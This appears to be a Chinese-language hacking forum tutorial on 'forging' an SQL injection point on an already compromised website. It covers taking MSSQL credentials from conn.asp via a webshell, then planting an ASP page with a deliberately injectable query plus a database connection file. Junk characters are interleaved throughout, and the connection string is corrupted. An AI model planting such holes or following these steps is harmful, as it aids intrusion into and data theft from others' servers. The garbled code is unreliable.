首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
4 j: \4 g+ z$ K x+ {ASP/Visual Basic代码9 v* {3 Q6 R7 g/ j$ D
<!--#include file="xx.asp"-->
W0 s9 ^: l! j* \<%
/ D6 T+ V* p1 @' h* Aset rs=server.createobject("ADODB.recordset") 3 A& ~: I) W" T5 B1 v6 o
id = request("id") 6 w' V8 S6 `, g* x+ {
strSQL = "select * from admin where id=" & id : r$ I3 i/ B, k* [+ {% s/ G
rs.open strSQL,conn,1,3 4 x3 [: D7 `+ k# L& o% N: {
rs.close
3 ]$ p7 Y0 J1 k4 ^%> . q2 n, ~. L; O$ L& Y
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!+ `' l1 i' B% h- Z9 W) _9 ~7 p: l
然后就要构造一个连接数据库的文件了,代码如下:
* p6 c+ V! S' v$ w7 K+ K! ~' ?# ~! dASP/Visual Basic代码
# H9 d+ d* s/ i, n% M1 _! b% e) p4 w<%
% h/ l2 l2 ~2 z( nstrSQLServerName = "000.000.000.000" '服务器名称或地址
$ v% g. W# [7 gstrSQLDBUserName = "sqlname" '数据库帐号
) z2 {" ]* N& o. B- D0 ^6 c9 h7 UstrSQLDBPassword = "sqlpass" '数据库密码 ' [# q. G+ t9 \
strSQLDBName = "sqldataname" '数据库名称 - U9 E# u3 v( Y) x3 R3 N
Set conn = Server.CreateObject("ADODB.Connection") * E9 p+ l! T0 g: @4 ^0 N
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
9 b# V Z9 z& c" r3 Jconn.open strCon
. F* D8 |4 k+ C- W%>
. S/ }9 w( p4 D& X& J- u这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
7 ]) G5 Y4 C6 w, _$ c( |+ x7 c3 X: i |